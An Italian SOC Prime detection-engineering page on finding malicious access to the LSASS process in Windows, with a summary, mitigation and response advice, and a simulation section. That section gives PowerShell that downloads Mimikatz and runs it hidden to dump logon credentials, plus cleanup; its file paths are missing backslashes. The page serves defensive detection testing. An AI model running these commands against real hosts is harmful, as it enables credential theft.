SOC Prime Bias: Medio

11 Dic 2025 17:46

Ricerca di Accessi Maligni a LSASS negli Ambienti Windows

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Ricerca di Accessi Maligni a LSASS negli Ambienti Windows
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

L’articolo descrive come gli avversari estraggono le credenziali accedendo al processo LSASS con strumenti come Mimikatz e Cobalt Strike. Copre le tipiche chiamate API di Windows, DLL e diritti di accesso coinvolti nel dump della memoria di LSASS. Gli autori condividono query di rilevamento aggiornate per Sysmon e altre piattaforme EDR, con enfasi sul rafforzamento della copertura del rilevamento del dump di credenziali.

Indagine

Il Team di Ricerca sulle Minacce di Splunk ha emulato l’accesso a LSASS utilizzando Atomic Red Team, Mimikatz, Invoke-Mimikatz e Cobalt Strike. Hanno catturato la telemetria di Sysmon che mostrava i caricamenti delle DLL (dbgcore.dll, dbghelp.dll, ntdll.dll) e i valori caratteristici di GrantedAccess. Questo dataset è stato quindi utilizzato per ottimizzare le query di rilevamento che correlano le informazioni di CallTrace con diritti di accesso specifici.

Mitigazione

Ottimizza le policy di Sysmon o EDR per registrare gli eventi di ProcessAccess contro lsass.exe, applicando filtri su DLL conosciute e diritti di accesso rilevanti mentre si escludono processi di sistema affidabili. Usa le query fornite per generare avvisi su modelli di accesso LSASS sospetti. Rivedi e affina continuamente queste regole man mano che emergono nuovi strumenti e tecniche.

Risposta

Quando viene attivato un rilevamento, verifica il processo di origine, il contesto utente associato e le DLL coinvolte nell’accesso a LSASS. Isola l’endpoint interessato, cattura la memoria per un’analisi forense più approfondita e valuta le prove di furto di credenziali. Esamina l’albero del processo per distinguere le utilità amministrative legittime dall’attività indicativa di un attaccante.

Flusso di Attacco

Stiamo ancora aggiornando questa parte. Iscriviti per ricevere una notifica

Notificami

Esecuzione della Simulazione

Prerequisito: Il Controllo di Pre-volo Telemetria e Baseline deve essere stato superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.

  • Narrazione dell’Attacco e Comandi:
    Un attaccante ha ottenuto i diritti di amministratore locale sull’host vittima e desidera raccogliere credenziali per lo spostamento laterale. Copiano lo strumento open-source Mimikatz sulla macchina, elevano il processo a privilegio DI DEBUG e invocano il modulo sekurlsa::logonPasswords che legge la memoria LSASS tramite chiamate API native che attraversano ntdll.dll. Sysmon registra questo come un evento ProcessAccess con diversi flag GrantedAccess di alto privilegio (e.g., 0x0010, 0x1400, 0x1fffff). L’attaccante esegue lo strumento da una sessione PowerShell nascosta per evitare l’esposizione UI.

    # 1. Rilascia il binario Mimikatz in %TEMP%
    $mkPath = "$env:TEMPmimikatz.exe"
    Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "$env:TEMPmk.zip"
    Expand-Archive -Path "$env:TEMPmk.zip" -DestinationPath $env:TEMP -Force
    Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force
    
    # 2. Esegui Mimikatz con comandi di dump delle credenziali
    Start-Process -FilePath $mkPath -ArgumentList 'privilege::debug sekurlsa::logonPasswords exit' -WindowStyle Hidden -Wait
  • Script di Test di Regressione:

    # ----------------------------------------------------------------------
    # Simulazione di Dump di Credenziali LSASS – attiva la regola Sigma #4e0789a0…
    # ----------------------------------------------------------------------
    # Rilascia Mimikatz (se non già presente)
    $mkPath = "$env:TEMPmimikatz.exe"
    if (-Not (Test-Path $mkPath)) {
        $zip = "$env:TEMPmk.zip"
        Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile $zip
        Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force
        Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force
        Remove-Item $zip -Force
    }
    
    # Esegui Mimikatz per dump di credenziali LSASS
    $args = 'privilege::debug sekurlsa::logonPasswords exit'
    Write-Host "[+] Esecuzione Mimikatz per dump LSASS..."
    Start-Process -FilePath $mkPath -ArgumentList $args -WindowStyle Hidden -Wait
    Write-Host "[+] Esecuzione di Mimikatz completata."
    # ----------------------------------------------------------------------
  • Comandi di Pulizia:

    # Rimuovi il binario Mimikatz e tutti i file residui
    $mkPath = "$env:TEMPmimikatz.exe"
    if (Test-Path $mkPath) { Remove-Item $mkPath -Force }
    $folder = "$env:TEMPmimikatz"
    if (Test-Path $folder) { Remove-Item $folder -Recurse -Force }
    Write-Host "Pulizia completata."